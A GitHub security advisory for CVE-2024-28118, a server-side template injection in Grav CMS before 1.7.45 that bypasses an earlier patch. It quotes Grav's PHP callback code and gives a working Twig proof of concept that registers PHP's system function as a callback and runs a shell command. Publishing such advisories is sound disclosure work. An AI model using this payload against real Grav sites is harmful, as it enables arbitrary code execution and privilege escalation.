ghsa-r6vw-8v8r-pmp4
Vulnerability from github
Summary
Due to the unrestricted access to twig extension class from grav context, an attacker can redefine config variable. As a result, attacker can bypass previous patch.
Details
The twig context has a function declared called getFunction. ```php public function getFunction($name) { if (!$this->extensionInitialized) { $this->initExtensions(); }
if (isset($this->functions[$name])) {
return $this->functions[$name];
}
foreach ($this->functions as $pattern => $function) {
$pattern = str_replace('\\*', '(.*?)', preg_quote($pattern, '#'), $count);
if ($count) {
if (preg_match('#^'.$pattern.'$#', $name, $matches)) {
array_shift($matches);
$function->setArguments($matches);
return $function;
}
}
}
foreach ($this->functionCallbacks as $callback) {
if (false !== $function = \call_user_func($callback, $name)) {
return $function;
}
}
return false;
}
``
This function, if the value of$namedoes not exist in$this->functions, uses call_user_func to execute callback functions stored in$this->functionCallbacks`.
It is possible to register arbitrary function using registerUndefinedFunctionCallback, but a callback that has already been registered exists and new callbacks added will not be executed.
The default function callback is as follows:
``php
$this->twig->registerUndefinedFunctionCallback(function (string $name) use ($config) {
$allowed = $config->get('system.twig.safe_functions');
if (is_array($allowed) and in_array($name, $allowed, true) and function_exists($name)) {
return new TwigFunction($name, $name);
}
if ($config->get('system.twig.undefined_functions')) {
if (function_exists($name)) {
if (!Utils::isDangerousFunction($name)) {
user_error("PHP function {$name}() was used as Twig function. This is deprecated in Grav 1.7. Please add it to system configuration:system.twig.safe_functions`", E_USER_DEPRECATED);
return new TwigFunction($name, $name);
}
/** @var Debugger $debugger */
$debugger = $this->grav['debugger'];
$debugger->addException(new RuntimeException("Blocked potentially dangerous PHP function {$name}() being used as Twig function. If you really want to use it, please add it to system configuration: `system.twig.safe_functions`"));
}
return new TwigFunction($name, static function () {});
}
return false;
});
``` If you look at this function, if the value of system.twig.undefined_functions is false, it returns false. In that case, it is possible for our registered callback to be executed.
At this time, the Grav\Common\Config\Config class is loaded within the grav context, and access to the set method is allowed, making it possible to set the value of system.twig.undefined_functions to false.
As a result, an attacker can execute any arbitrarily registered callback function.
PoC
{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }}
{% set a = grav.config.set('system.twig.undefined_functions',false) %}
{{ grav.twig.twig.getFunction('id') }}
Impact
Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.45"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-28118"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-22T16:55:39Z",
"nvd_published_at": "2024-03-21T22:15:12Z",
"severity": "HIGH"
},
"details": "### Summary\nDue to the unrestricted access to twig extension class from grav context, an attacker can redefine config variable. As a result, attacker can bypass previous patch.\n\n### Details\nThe twig context has a function declared called getFunction.\n```php\npublic function getFunction($name)\n {\n if (!$this-\u003eextensionInitialized) {\n $this-\u003einitExtensions();\n }\n\n if (isset($this-\u003efunctions[$name])) {\n return $this-\u003efunctions[$name];\n }\n\n foreach ($this-\u003efunctions as $pattern =\u003e $function) {\n $pattern = str_replace(\u0027\\\\*\u0027, \u0027(.*?)\u0027, preg_quote($pattern, \u0027#\u0027), $count);\n\n if ($count) {\n if (preg_match(\u0027#^\u0027.$pattern.\u0027$#\u0027, $name, $matches)) {\n array_shift($matches);\n $function-\u003esetArguments($matches);\n\n return $function;\n }\n }\n }\n\n foreach ($this-\u003efunctionCallbacks as $callback) {\n if (false !== $function = \\call_user_func($callback, $name)) {\n return $function;\n }\n }\n\n return false;\n }\n```\nThis function, if the value of `$name` does not exist in `$this-\u003efunctions`, uses call_user_func to execute callback functions stored in `$this-\u003efunctionCallbacks`.\n\nIt is possible to register arbitrary function using registerUndefinedFunctionCallback, but a callback that has already been registered exists and new callbacks added will not be executed.\n\nThe default function callback is as follows:\n```php\n$this-\u003etwig-\u003eregisterUndefinedFunctionCallback(function (string $name) use ($config) {\n $allowed = $config-\u003eget(\u0027system.twig.safe_functions\u0027);\n if (is_array($allowed) and in_array($name, $allowed, true) and function_exists($name)) {\n return new TwigFunction($name, $name);\n }\n if ($config-\u003eget(\u0027system.twig.undefined_functions\u0027)) {\n if (function_exists($name)) {\n if (!Utils::isDangerousFunction($name)) {\n user_error(\"PHP function {$name}() was used as Twig function. This is deprecated in Grav 1.7. Please add it to system configuration: `system.twig.safe_functions`\", E_USER_DEPRECATED);\n\n return new TwigFunction($name, $name);\n }\n\n /** @var Debugger $debugger */\n $debugger = $this-\u003egrav[\u0027debugger\u0027];\n $debugger-\u003eaddException(new RuntimeException(\"Blocked potentially dangerous PHP function {$name}() being used as Twig function. If you really want to use it, please add it to system configuration: `system.twig.safe_functions`\"));\n }\n\n return new TwigFunction($name, static function () {});\n }\n\n return false;\n });\n```\nIf you look at this function, if the value of system.twig.undefined_functions is false, it returns false.\nIn that case, it is possible for our registered callback to be executed.\n\nAt this time, the `Grav\\Common\\Config\\Config` class is loaded within the grav context, and access to the set method is allowed, making it possible to set the value of system.twig.undefined_functions to false.\nAs a result, an attacker can execute any arbitrarily registered callback function.\n\n### PoC\n```\n{{ grav.twig.twig.registerUndefinedFunctionCallback(\u0027system\u0027) }}\n{% set a = grav.config.set(\u0027system.twig.undefined_functions\u0027,false) %}\n{{ grav.twig.twig.getFunction(\u0027id\u0027) }}\n```\n\n\n\n\n### Impact\nTwig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages.\nAs the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.\n",
"id": "GHSA-r6vw-8v8r-pmp4",
"modified": "2025-01-03T16:06:54Z",
"published": "2024-03-22T16:55:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-r6vw-8v8r-pmp4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28118"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/commit/de1ccfa12dbcbf526104d68c1a6bc202a98698fe"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Server Side Template Injection (SSTI)"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.